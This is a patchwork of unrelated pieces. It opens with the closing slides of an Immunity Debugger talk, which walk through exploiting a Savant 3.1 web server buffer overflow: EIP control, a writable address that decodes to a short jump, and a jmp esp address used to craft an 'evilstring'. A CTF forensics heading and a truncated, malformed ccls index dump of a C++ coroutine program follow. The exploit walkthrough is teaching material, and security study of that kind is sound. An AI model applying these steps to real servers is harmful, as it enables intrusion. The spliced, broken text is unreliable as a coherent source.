evilstring: 57 Case Study: Savant 3.1 Finding the offsets... 58 Case Study: Savant 3.1 We get something like this: And with the arguments issue solved we are able to cleanly hit EIP 59 Case Study: Savant 3.1 ● Once we hit EIP, in detail we have control over: – EBP value – EIP value (of course) – What ESP points to (1 argument) – What ESP + 4 points to (2 argument) – More than 200 bytes buffer starting at [EBP – 104H] to [EBP - 8H] 60 Case Study: Savant 3.1 And with this context, the first thing one would think is: we need to jump back, but how? Second Problem.... What points to ESP 61 Case Study: Savant 3.1 Since we are controlling what ESP points to, what if we could find an address to place as the overwritten argument, which: – Is writable [remember first problem] – Can be “transformed” into opcodes that would be of use here...like a 'jmp -10' (to land into our controlled buffer) 62 Case Study: Savant 3.1 Finding an address with these characteristics might be pretty tedious...or a matter of seconds using one of the Immunity Debugger scripts we talked a few minutes ago: Duality 63 Case Study: Savant 3.1 How duality works: – Create a mask of the searched code [jmp -10] – Get all mapped memory pages – Find all addresses that match our masked searchcode – Log results: 64 Case Study: Savant 3.1 Almost there: – Before finishing crafting our evilstring with the brand new transformable address we'll need to find a jmp esp for EIP: ● Searchcode script will do that in a quick and easy way 65 Case Study: Savant 3.1 Resume: – Bypassed arguments problem – Hit EIP – Searched for a writable address that can be transformed into a desired opcode (0x7ffdf0eb) – Searched for a jmp esp (0x74fdee63) – Crafted the string: 66 Case Study: Savant 3.1 Resulting in: 67 Conclusions ● ID wont give you an out-of-box exploit (yet) but: – It will speed up debugging time (gui + commandline) – Will help you finding the bug (API + libs + scripts) – Will help you crafting your exploit (make it reliable!) ● ID is not a proof-of-concept application (it has been used for months successfully by our vuln-dev team) 68 Download Immunity Debugger now! Get it free at: http://debugger.immunityinc.com Comments, scripts, ideas, requests: [email protected]
pdf
RWCTF Nu1L forensics ccls-fringe { "last_write_time":1532281822000000000, "language":2, "lid2path":[ ], "import_file":"/home/flag/fringe.cc", "args":[ "%clang", "/home/flag/fringe.cc" ], "dependencies":[ "/usr/include/c++/8.1.1/ext/atomicity.h", "/usr/include/asm-generic/errno.h", "/usr/include/bits/types/__FILE.h", "/usr/include/c++/8.1.1/system_error", "/usr/include/errno.h", "/usr/include/sys/ucontext.h", "/usr/include/c++/8.1.1/bits/stl_pair.h", "/usr/include/sys/select.h", "/usr/include/c++/8.1.1/cwchar", "/usr/include/c++/8.1.1/type_traits", "/usr/include/bits/locale.h", "/usr/include/bits/libio.h", "/usr/include/c++/8.1.1/debug/assertions.h", "/usr/include/bits/setjmp.h", "/usr/include/c++/8.1.1/bits/stl_bvector.h", "/usr/include/c++/8.1.1/bits/hash_bytes.h", "/usr/include/bits/types/timer_t.h", "/usr/include/c++/8.1.1/bits/exception_defines.h", "/usr/include/bits/_G_config.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/os_defines.h", "/usr/include/bits/thread-shared-types.h", "/usr/include/c++/8.1.1/backward/binders.h", "/usr/include/c++/8.1.1/iosfwd", "/usr/include/bits/types/struct_timespec.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/ctype_inline.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/gthr-default.h", "/usr/include/pthread.h", "/usr/include/c++/8.1.1/bits/cpp_type_traits.h", "/usr/include/c++/8.1.1/bits/streambuf.tcc", "/usr/include/bits/libc-header-start.h", "/usr/include/c++/8.1.1/string", "/usr/include/c++/8.1.1/bits/cxxabi_init_exception.h", "/usr/include/bits/typesizes.h", "/usr/include/c++/8.1.1/ostream", "/usr/include/c++/8.1.1/bits/vector.tcc", "/usr/include/sys/cdefs.h", "/usr/include/c++/8.1.1/bits/istream.tcc", "/usr/include/c++/8.1.1/initializer_list", "/usr/include/c++/8.1.1/ext/new_allocator.h", "/usr/include/bits/wordsize.h", "/usr/include/c++/8.1.1/bits/stl_uninitialized.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/c++allocator.h", "/usr/include/bits/types/struct_timeval.h", "/usr/include/bits/cpu-set.h", "/usr/include/bits/waitflags.h", "/usr/include/c++/8.1.1/bits/functional_hash.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/cpu_defines.h", "/usr/include/c++/8.1.1/bits/stl_function.h", "/usr/include/bits/stdlib-float.h", "/usr/include/linux/errno.h", "/usr/include/bits/sched.h", "/usr/include/bits/types/struct_tm.h", "/usr/include/c++/8.1.1/ext/type_traits.h", "/usr/include/c++/8.1.1/bits/range_access.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/c++config.h", "/usr/include/c++/8.1.1/bits/alloc_traits.h", "/usr/include/time.h", "/usr/include/c++/8.1.1/bits/stl_vector.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/error_constants.h", "/usr/include/bits/wchar.h", "/usr/include/c++/8.1.1/bits/stl_iterator_base_types.h", "/usr/include/c++/8.1.1/bits/ptr_traits.h", "/usr/include/c++/8.1.1/bits/stl_algobase.h", "/usr/include/c++/8.1.1/streambuf", "/usr/include/c++/8.1.1/new", "/usr/include/c++/8.1.1/ios", "/usr/include/sys/types.h", "/usr/include/bits/types/clock_t.h", "/usr/include/bits/floatn.h", "/usr/include/bits/sysmacros.h", "/usr/include/bits/errno.h", "/usr/include/bits/timex.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/c++locale.h", "/usr/include/c++/8.1.1/debug/debug.h", "/usr/include/gnu/stubs.h", "/usr/include/bits/stdio_lim.h", "/usr/include/bits/byteswap.h", "/usr/include/endian.h", "/usr/include/c++/8.1.1/ext/numeric_traits.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/atomic_word.h", "/usr/include/c++/8.1.1/bits/basic_string.tcc", "/usr/include/c++/8.1.1/iostream", "/usr/include/wctype.h", "/usr/include/c++/8.1.1/cstdio", "/usr/include/c++/8.1.1/bits/localefwd.h", "/usr/include/c++/8.1.1/bits/cxxabi_forced.h", "/usr/include/c++/8.1.1/bits/streambuf_iterator.h", "/usr/include/c++/8.1.1/bits/char_traits.h", "/usr/include/c++/8.1.1/bits/stl_iterator_base_funcs.h", "/usr/include/bits/byteswap-16.h", "/usr/include/ctype.h", "/usr/include/c++/8.1.1/bits/basic_string.h", "/usr/include/bits/types/locale_t.h", "/usr/include/asm-generic/errno-base.h", "/usr/include/c++/8.1.1/bits/move.h", "/usr/include/c++/8.1.1/cstdint", "/usr/include/locale.h", "/usr/include/sys/sysmacros.h", "/usr/include/c++/8.1.1/bits/ios_base.h", "/usr/include/c++/8.1.1/bits/locale_facets.h", "/usr/include/c++/8.1.1/bits/postypes.h", "/usr/include/bits/time.h", "/usr/include/bits/types/wint_t.h", "/usr/include/c++/8.1.1/cstdlib", "/usr/include/c++/8.1.1/ext/string_conversions.h", "/usr/include/c++/8.1.1/cctype", "/usr/include/bits/wctype-wchar.h", "/usr/include/gnu/stubs-64.h", "/usr/include/bits/uintn-identity.h", "/usr/include/bits/types/sigset_t.h", "/usr/include/bits/pthreadtypes-arch.h", "/usr/include/c++/8.1.1/bits/stl_iterator.h", "/usr/include/c++/8.1.1/bits/locale_classes.h", "/usr/include/c++/8.1.1/istream", "/usr/include/bits/types/__locale_t.h", "/usr/include/stdint.h", "/usr/include/asm/errno.h", "/usr/include/c++/8.1.1/bits/functexcept.h", "/usr/include/bits/types.h", "/usr/include/ucontext.h", "/usr/include/bits/floatn-common.h", "/usr/include/c++/8.1.1/bits/ostream.tcc", "/usr/include/bits/stdint-intn.h", "/usr/include/bits/types/struct_itimerspec.h", "/usr/include/c++/8.1.1/bits/nested_exception.h", "/usr/include/features.h", "/usr/include/bits/select.h", "/usr/include/stdlib.h", "/usr/include/bits/pthreadtypes.h", "/usr/include/c++/8.1.1/bits/locale_facets.tcc", "/usr/include/bits/types/__mbstate_t.h", "/usr/include/c++/8.1.1/bits/stringfwd.h", "/usr/include/bits/types/__sigset_t.h", "/usr/include/c++/8.1.1/exception", "/usr/include/bits/types/time_t.h", "/usr/include/c++/8.1.1/typeinfo", "/usr/include/c++/8.1.1/stdexcept", "/usr/include/c++/8.1.1/vector", "/usr/include/c++/8.1.1/bits/std_abs.h", "/usr/include/c++/8.1.1/ext/alloc_traits.h", "/usr/include/stdc-predef.h", "/usr/include/bits/stdint-uintn.h", "/usr/include/bits/types/clockid_t.h", "/usr/include/c++/8.1.1/bits/predefined_ops.h", "/usr/include/c++/8.1.1/cwctype", "/usr/include/c++/8.1.1/bits/concept_check.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/ctype_base.h", "/usr/include/c++/8.1.1/bits/exception.h", "/usr/include/c++/8.1.1/bits/locale_classes.tcc", "/usr/include/c++/8.1.1/cerrno", "/usr/include/stdio.h", "/usr/include/bits/sys_errlist.h", "/usr/include/c++/8.1.1/bits/stl_construct.h", "/usr/include/bits/types/FILE.h", "/usr/include/sched.h", "/usr/include/c++/8.1.1/bits/memoryfwd.h", "/usr/include/bits/types/mbstate_t.h", "/usr/include/c++/8.1.1/clocale", "/usr/include/alloca.h", "/usr/include/c++/8.1.1/bits/basic_ios.tcc", "/usr/include/bits/types/stack_t.h", "/usr/include/c++/8.1.1/bits/allocator.h", "/usr/include/bits/endian.h", "/usr/include/c++/8.1.1/bits/exception_ptr.h", "/usr/include/c++/8.1.1/x86_64-pc-linux-gnu/bits/gthr.h", "/usr/include/wchar.h", "/usr/include/bits/waitstatus.h", "/usr/include/c++/8.1.1/bits/basic_ios.h", "/usr/include/c++/8.1.1/bits/ostream_insert.h" ], "includes":[ { "line":0, "resolved_path":"/usr/include/c++/8.1.1/iostream" }, { "line":1, "resolved_path":"/usr/include/c++/8.1.1/vector" }, { "line":2, "resolved_path":"/usr/include/ucontext.h" } ], "skipped_ranges":[ ], "usr2func":[ { "usr":func_leafsimilar, "detailed_name":"bool std::Solution::leafSimilar(std::TreeNode *root1, std::TreeNode *root2)", "qual_name_offset":5, "short_name_offset":20, "short_name_size":11, "kind":6, "storage":0, "hover":"", "comments":"", "declarations":[ ], "spell":"38:8-38:19|class_solution|2|514", "extent":"38:3-46:4|class_solution|2|0", "bases":[ ], "derived":[ ], "vars":[ treenode_7, treenode_8, int_i2, ucontext_2, int_n, co_2, co_3, int_h2, int_k ], "uses":[ ], "callees":[ "40:8-40:10|func_co_constructor|3|8484", "40:15-40:18|func_dfs|3|4", "40:8-40:10|func_co_constructor|3|8484", "40:15-40:18|func_dfs|3|4" ] }, { "usr":func_co_constructor, "detailed_name":"std::Co::Co(std::ucontext_t *link, void (*f)(std::Co *, std::TreeNode *), std::TreeNode *root)", "qual_name_offset":0, "short_name_offset":9, "short_name_size":2, "kind":9, "storage":0, "hover":"", "comments":"", "declarations":[ ], "spell":"16:3-16:5|type_co|2|514", "extent":"16:3-22:4|type_co|2|0", "bases":[ ], "derived":[ ], "vars":[ ucontext_1, void_func_f, treenode_4, int_b, int_l, 16409791255353764606, int_s, int_ss ], "uses":[ "40:8-40:10|func_leafsimilar|3|8484" ], "callees":[ ] }, { "usr":func_co_yield, "detailed_name":"void std::Co::yield(std::TreeNode *x)", "qual_name_offset":5, "short_name_offset":14, "short_name_size":5, "kind":6, "storage":0, "hover":"", "comments":"", "declarations":[ ], "spell":"23:8-23:13|type_co|2|514", "extent":"23:3-26:4|type_co|2|0", "bases":[ ], "derived":[ ], "vars":[ treenode_5, int_w, int_o, int_d ], "uses":[ "31:33-31:38|func_dfs|3|8228" ], "callees":[ ] }, { "usr":func_dfs, "detailed_name":"void std::dfs(std::Co *c, std::TreeNode *x)", "qual_name_offset":5, "short_name_offset":10, "short_name_size":3, "kind":12, "storage":0, "hover":"", "comments":"", "declarations":[ ], "spell":"29:6-29:9|namespace_std|2|514", "extent":"29:1-34:2|namespace_std|2|0", "bases":[ ], "derived":[ ], "vars":[ co_1, treenode_6, 14097758609443653436, int_h, int_oo, int_i, int_sss ], "uses":[ "32:3-32:6|func_dfs|3|8228", "33:3-33:6|func_dfs|3|8228", "40:15-40:18|func_leafsimilar|3|4" ], "callees":[ "31:33-31:38|func_co_yield|3|8228", "32:3-32:6|func_dfs|3|8228", "33:3-33:6|func_dfs|3|8228" ] }, { "usr":func_main, "detailed_name":"int std::main()", "qual_name_offset":4, "short_name_offset":9, "short_name_size":4, "kind":12, "storage":0, "hover":"", "comments":"", "declarations":[ ], "spell":"55:5-55:9|namespace_std|2|514", "extent":"55:1-66:2|namespace_std|2|0", "bases":[ ], "derived":[ ], "vars":[ treenode_11, treenode_12, treenode_13, treenode_14, treenode_15, treenode_16, treenode_17, treenode_18, treenode_19, solution_1 ], "uses":[ ], "callees":[ "60:21-60:27|func_insert|3|8228", "61:21-61:27|func_insert|3|8228", "62:21-62:27|func_insert|3|8228" ] }, { "usr":func_insert, "detailed_name":"void std::insert(std::TreeNode **x, std::TreeNode &y)", "qual_name_offset":5, "short_name_offset":10, "short_name_size":6, "kind":12, "storage":0, "hover":"", "comments":"", "declarations":[ ], "spell":"49:6-49:12|namespace_std|2|514", "extent":"49:1-53:2|namespace_std|2|0", "bases":[ ], "derived":[ ], "vars":[ treenode_9, treenode_10 ], "uses":[ "60:21-60:27|func_main|3|8228", "61:21-61:27|func_main|3|8228", "62:21-62:27|func_main|3|8228" ], "callees":[ ] } ], "usr2type":[ { "usr":52, "detailed_name":"", "qual_name_offset":0, "short_name_offset":0, "short_name_size":0, "kind":0, "hover":"", "comments":"", "declarations":[ ], "alias_of":0, "bases":[ ], "derived":[ ], "types":[ ], "funcs":[ ], "vars":[ ], "instances":[ treenode_val, int_b, int_l, 16409791255353764606, int_s, int_ss, int_w, int_o, int_d, 14097758609443653436, int_h, int_oo, int_i, int_sss, int_i2, int_n, int_h2, int_k ], "uses":[ ] }, { "usr":class_solution, "detailed_name":"class std::Solution {}", "qual_name_offset":6, "short_name_offset":11, "short_name_size":8, "kind":5, "hover":"", "comments":"", "declarations":[ ], "spell":"36:7-36:15|namespace_std|2|514", "extent":"36:1-47:2|namespace_std|2|0", "alias_of":0, "bases":[ ], "derived":[ ], "types":[ ], "funcs":[ func_leafsimilar ], "vars":[ ], "instances":[ solution_1 ], "uses":[ "63:3-63:11|func_main|3|4" ] }, { "usr":namespace_std, "detailed_name":"namespace std {\n}", "qual_name_offset":10, "short_name_offset":10, "short_name_size":3, "kind":3, "hover":"", "comments":"", "declarations":[ ], "alias_of":0, "bases":[ ], "derived":[ ], "types":[ type_treenode, type_co, class_solution ], "funcs":[ func_dfs, func_insert, func_main ], "vars":[ ], "instances":[ ], "uses":[ "4:17-4:20|namespace_std|2|4" ] }, { "usr":type_co, "detailed_name":"struct std::Co {}", "qual_name_offset":7, "short_name_offset":12, "short_name_size":2, "kind":23, "hover":"", "comments":"", "declarations":[ ], "spell":"12:8-12:10|namespace_std|2|514", "extent":"12:1-27:2|namespace_std|2|0", "alias_of":0, "bases":[ ], "derived":[ ], "types":[ ], "funcs":[ func_co_constructor, func_co_yield ], "vars":[ { "L":context_t_c, "R":0 }, { "L":co_stack, "R":8 }, { "L":treenode_3, "R":65600 } ], "instances":[ co_1, co_2, co_3 ], "uses":[ "16:34-16:36|type_co|2|4", "16:3-16:5|type_co|2|4", "29:10-29:12|namespace_std|2|4", "40:5-40:7|func_leafsimilar|3|4" ] }, { "usr":type_ucontext, "detailed_name":"struct std::ucontext_t {}", "qual_name_offset":7, "short_name_offset":12, "short_name_size":10, "kind":23, "hover":"", "comments":"", "declarations":[ ], "alias_of":0, "bases":[ ], "derived":[ ], "types":[ ], "funcs":[ ], "vars":[ ], "instances":[ ucontext_1, ucontext_2 ], "uses":[ "13:3-13:13|type_co|2|4", "16:6-16:16|type_co|2|4", "39:5-39:15|func_leafsimilar|3|4" ] }, { "usr":type_treenode, "detailed_name":"struct std::TreeNode {}", "qual_name_offset":7, "short_name_offset":12, "short_name_size":8, "kind":23, "hover":"", "comments":"", "declarations":[ ], "spell":"6:8-6:16|namespace_std|2|514", "extent":"6:1-10:2|namespace_std|2|0", "alias_of":0, "bases":[ ], "derived":[ ], "types":[ ], "funcs":[ ], "vars":[ { "L":treenode_val, "R":0 }, { "L":treenode_1, "R":64 }, { "L":treenode_2, "R":128 } ], "instances":[ treenode_1, treenode_2, treenode_3, treenode_4, treenode_5, treenode_6, treenode_7, treenode_8, treenode_9, treenode_10, treenode_11, treenode_12, treenode_13, treenode_14, treenode_15, treenode_16, treenode_17, treenode_18, treenode_19 ], "uses":[ "8:3-8:11|type_treenode|2|4", "9:3-9:11|type_treenode|2|4", "15:3-15:11|type_co|2|4", "1 40-16:48|type_co|2|4", "16:53-16:61|type_co|2|4", "23:14-23:22|type_co|2|4", "29:17-29:25|namespace_std|2|4", "38:20-38:28|class_solution|2|4", "38:37-38:45|class_solution|2|4", "49:13-49:21|namespace_std|2|4", "49:27-49:35|namespace_std|2|4", "56:3-56:11|func_main|3|4", "57:3-57:11|func_main|3|4", "58:3-58:11|func_main|3|4", "59:3-59:11|func_main|3|4" ] } ], "usr2var":[ { "usr":int_k, "detailed_name":"int k", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"41:80-41:81|func_leafsimilar|3|2", "extent":"41:76-41:81|func_leafsimilar|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":ucontext_1, "detailed_name":"std::ucontext_t *link", "qual_name_offset":17, "short_name_offset":17, "short_name_size":4, "hover":"", "comments":"", "declarations":[ ], "spell":"16:18-16:22|func_co_constructor|3|514", "extent":"16:6-16:22|func_co_constructor|3|0", "type":type_ucontext, "uses":[ ], "kind":253, "storage":0 }, { "usr":int_i, "detailed_name":"int i", "qual_name_offset":0, "short_name_offset":0, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"32:80-32:81|func_dfs|3|2", "extent":"32:76-32:81|func_dfs|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":context_t_c, "detailed_name":"std::ustd::Co::context_t c", "qual_name_offset":0, "short_name_offset":15, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"13:14-13:15|type_co|2|514", "extent":"13:3-13:15|type_co|2|0", "type":0, "uses":[ ], "kind":8, "storage":0 }, { "usr":treenode_13, "detailed_name":"std::TreeNode zs[]", "qual_name_offset":14, "short_name_offset":14, "short_name_size":2, "hover":"std::TreeNode zs[] = {{3},{1},{5},{0},{2},{6}}", "comments":"", "declarations":[ ], "spell":"58:12-58:14|func_main|3|2", "extent":"58:3-58:44|func_main|3|0", "type":type_treenode, "uses":[ "62:17-62:19|func_main|3|4" ], "kind":13, "storage":0 }, { "usr":treenode_19, "detailed_name":"std::TreeNode &z", "qual_name_offset":15, "short_name_offset":15, "short_name_size":1, "hover":"std::TreeNode &z :", "comments":"", "declarations":[ ], "spell":"62:14-62:15|func_main|3|2", "extent":"62:8-62:16|func_main|3|0", "type":type_treenode, "uses":[ "62:33-62:34|func_main|3|4" ], "kind":13, "storage":0 }, { "usr":int_w, "detailed_name":"int w", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"23:80-23:81|func_co_yield|3|2", "extent":"23:76-23:81|func_co_yield|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_7, "detailed_name":"std::TreeNode *root1", "qual_name_offset":15, "short_name_offset":15, "short_name_size":5, "hover":"", "comments":"", "declarations":[ ], "spell":"38:30-38:35|func_leafsimilar|3|514", "extent":"38:20-38:35|func_leafsimilar|3|0", "type":type_treenode, "uses":[ ], "kind":253, "storage":0 }, { "usr":treenode_5, "detailed_name":"std::TreeNode *x", "qual_name_offset":15, "short_name_offset":15, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"23:24-23:25|func_co_yield|3|514", "extent":"23:14-23:25|func_co_yield|3|0", "type":type_treenode, "uses":[ "24:11-24:12|func_co_yield|3|12" ], "kind":253, "storage":0 }, { "usr":int_o, "detailed_name":"int o", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"24:80-24:81|func_co_yield|3|2", "extent":"24:76-24:81|func_co_yield|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":co_3, "detailed_name":"std::Co c1", "qual_name_offset":8, "short_name_offset":8, "short_name_size":2, "hover":"", "comments":"", "declarations":[ ], "spell":"40:28-40:30|func_leafsimilar|3|2", "extent":"40:5-40:30|func_leafsimilar|3|0", "type":type_co, "uses":[ "42:7-42:9|func_leafsimilar|3|4", "44:14-44:16|func_leafsimilar|3|4", "44:34-44:36|func_leafsimilar|3|4", "45:13-45:15|func_leafsimilar|3|4" ], "kind":13, "storage":0 }, { "usr":co_2, "detailed_name":"std::Co c2", "qual_name_offset":8, "short_name_offset":8, "short_name_size":2, "hover":"", "comments":"", "declarations":[ ], "spell":"40:8-40:10|func_leafsimilar|3|2", "extent":"40:5-40:26|func_leafsimilar|3|0", "type":type_co, "uses":[ "42:16-42:18|func_leafsimilar|3|4", "44:24-44:26|func_leafsimilar|3|4", "44:49-44:51|func_leafsimilar|3|4", "45:24-45:26|func_leafsimilar|3|4" ], "kind":13, "storage":0 }, { "usr":treenode_18, "detailed_name":"std::TreeNode &y", "qual_name_offset":15, "short_name_offset":15, "short_name_size":1, "hover":"std::TreeNode &y :", "comments":"", "declarations":[ ], "spell":"61:14-61:15|func_main|3|2", "extent":"61:8-61:16|func_main|3|0", "type":type_treenode, "uses":[ "61:33-61:34|func_main|3|4" ], "kind":13, "storage":0 }, { "usr":treenode_17, "detailed_name":"std::TreeNode &x", "qual_name_offset":15, "short_name_offset":15, "short_name_size":1, "hover":"std::TreeNode &x :", "comments":"", "declarations":[ ], "spell":"60:14-60:15|func_main|3|2", "extent":"60:8-60:16|func_main|3|0", "type":type_treenode, "uses":[ "60:33-60:34|func_main|3|4" ], "kind":13, "storage":0 }, { "usr":treenode_8, "detailed_name":"std::TreeNode *root2", "qual_name_offset":15, "short_name_offset":15, "short_name_size":5, "hover":"", "comments":"", "declarations":[ ], "spell":"38:47-38:52|func_leafsimilar|3|514", "extent":"38:37-38:52|func_leafsimilar|3|0", "type":type_treenode, "uses":[ "40:20-40:25|func_leafsimilar|3|12" ], "kind":253, "storage":0 }, { "usr":int_h, "detailed_name":"int h", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"30:80-30:81|func_dfs|3|2", "extent":"30:76-30:81|func_dfs|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":int_l, "detailed_name":"int l", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"17:80-17:81|func_co_constructor|3|2", "extent":"17:76-17:81|func_co_constructor|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":int_h2, "detailed_name":"int h", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"40:80-40:81|func_leafsimilar|3|2", "extent":"40:76-40:81|func_leafsimilar|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":int_s, "detailed_name":"int s", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"19:80-19:81|func_co_constructor|3|2", "extent":"19:76-19:81|func_co_constructor|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_3, "detailed_name":"std::TreeNode *std::Co::ret", "qual_name_offset":15, "short_name_offset":24, "short_name_size":3, "hover":"", "comments":"", "declarations":[ ], "spell":"15:13-15:16|type_co|2|514", "extent":"15:3-15:16|type_co|2|0", "type":type_treenode, "uses":[ "24:5-24:8|func_co_yield|3|20", "42:10-42:13|func_leafsimilar|3|20", "42:19-42:22|func_leafsimilar|3|20", "44:17-44:20|func_leafsimilar|3|12", "44:27-44:30|func_leafsimilar|3|12", "44:37-44:40|func_leafsimilar|3|12", "44:52-44:55|func_leafsimilar|3|12", "45:16-45:19|func_leafsimilar|3|12", "45:27-45:30|func_leafsimilar|3|12" ], "kind":8, "storage":0 }, { "usr":co_1, "detailed_name":"std::Co *c", "qual_name_offset":9, "short_name_offset":9, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"29:14-29:15|func_dfs|3|514", "extent":"29:10-29:15|func_dfs|3|0", "type":type_co, "uses":[ "31:30-31:31|func_dfs|3|12", "32:7-32:8|func_dfs|3|12", "33:7-33:8|func_dfs|3|12" ], "kind":253, "storage":0 }, { "usr":treenode_11, "detailed_name":"std::TreeNode xs[]", "qual_name_offset":14, "short_name_offset":14, "short_name_size":2, "hover":"std::TreeNode xs[] = {{3},{1},{5},{0},{2},{4},{6}}", "comments":"", "declarations":[ ], "spell":"56:12-56:14|func_main|3|2", "extent":"56:3-56:48|func_main|3|0", "type":type_treenode, "uses":[ "60:17-60:19|func_main|3|4" ], "kind":13, "storage":0 }, { "usr":int_b, "detailed_name":"int b", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"flag is here", "declarations":[ ], "spell":"16:80-16:81|func_co_constructor|3|2", "extent":"16:76-16:81|func_co_constructor|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":ucontext_2, "detailed_name":"std::ucontext_t c", "qual_name_offset":0, "short_name_offset":6, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"39:16-39:17|func_leafsimilar|3|2", "extent":"39:5-39:17|func_leafsimilar|3|0", "type":type_ucontext, "uses":[ "40:12-40:13|func_leafsimilar|3|132" ], "kind":13, "storage":0 }, { "usr":int_i2, "detailed_name":"int i", "qual_name_offset":0, "short_name_offset":0, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"38:80-38:81|func_leafsimilar|3|2", "extent":"38:76-38:81|func_leafsimilar|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":int_d, "detailed_name":"int d", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"25:80-25:81|func_co_yield|3|2", "extent":"25:76-25:81|func_co_yield|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_12, "detailed_name":"std::TreeNode ys[]", "qual_name_offset":14, "short_name_offset":14, "short_name_size":2, "hover":"std::TreeNode ys[] = {{5},{3},{6},{1},{4},{0},{2}}", "comments":"", "declarations":[ ], "spell":"57:12-57:14|func_main|3|2", "extent":"57:3-57:48|func_main|3|0", "type":type_treenode, "uses":[ "61:17-61:19|func_main|3|4" ], "kind":13, "storage":0 }, { "usr":treenode_10, "detailed_name":"std::TreeNode &y", "qual_name_offset":15, "short_name_offset":15, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"49:37-49:38|func_insert|3|514", "extent":"49:27-49:38|func_insert|3|0", "type":type_treenode, "uses":[ "51:9-51:10|func_insert|3|4", "52:9-52:10|func_insert|3|132" ], "kind":253, "storage":0 }, { "usr":treenode_16, "detailed_name":"std::TreeNode *tz", "qual_name_offset":15, "short_name_offset":15, "short_name_size":2, "hover":"std::TreeNode *tz = nullptr", "comments":"", "declarations":[ ], "spell":"59:43-59:45|func_main|3|2", "extent":"59:3-59:55|func_main|3|0", "type":type_treenode, "uses":[ "62:29-62:31|func_main|3|132" ], "kind":13, "storage":0 }, { "usr":int_ss, "detailed_name":"int s", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"20:80-20:81|func_co_constructor|3|2", "extent":"20:76-20:81|func_co_constructor|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_4, "detailed_name":"std::TreeNode *root", "qual_name_offset":15, "short_name_offset":15, "short_name_size":4, "hover":"", "comments":"", "declarations":[ ], "spell":"16:63-16:67|func_co_constructor|3|514", "extent":"16:53-16:67|func_co_constructor|3|0", "type":type_treenode, "uses":[ ], "kind":253, "storage":0 }, { "usr":int_sss, "detailed_name":"int s", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"33:80-33:81|func_dfs|3|2", "extent":"33:76-33:81|func_dfs|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":int_n, "detailed_name":"int n", "qual_name_offset":0, "short_name_offset":1, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"39:80-39:81|func_leafsimilar|3|2", "extent":"39:76-39:81|func_leafsimilar|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_1, "detailed_name":"std::TreeNode *std::TreeNode::left", "qual_name_offset":15, "short_name_offset":30, "short_name_size":4, "hover":"", "comments":"", "declarations":[ ], "spell":"8:13-8:17|type_treenode|2|514", "extent":"8:3-8:17|type_treenode|2|0", "type":type_treenode, "uses":[ "31:11-31:15|func_dfs|3|12", "32:13-32:17|func_dfs|3|12", "51:36-51:40|func_insert|3|132" ], "kind":8, "storage":0 }, { "usr":co_stack, "detailed_name":"char std::Co::stack[8192]", "qual_name_offset":5, "short_name_offset":14, "short_name_size":5, "hover":"", "comments":"", "declarations":[ ], "spell":"14:8-14:13|type_co|2|514", "extent":"14:3-14:19|type_co|2|0", "type":0, "uses":[ ], "kind":8, "storage":0 }, { "usr":int_oo, "detailed_name":"int o", "qual_name_offset":4, "short_name_offset":4, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], "spell":"31:80-31:81|func_dfs|3|2", "extent":"31:76-31:81|func_dfs|3|0", "type":52, "uses":[ ], "kind":13, "storage":0 }, { "usr":treenode_6, "detailed_name":"std::TreeNode *x", "qual_name_offset":15, "short_name_offset":15, "short_name_size":1, "hover":"", "comments":"", "declarations":[ ], 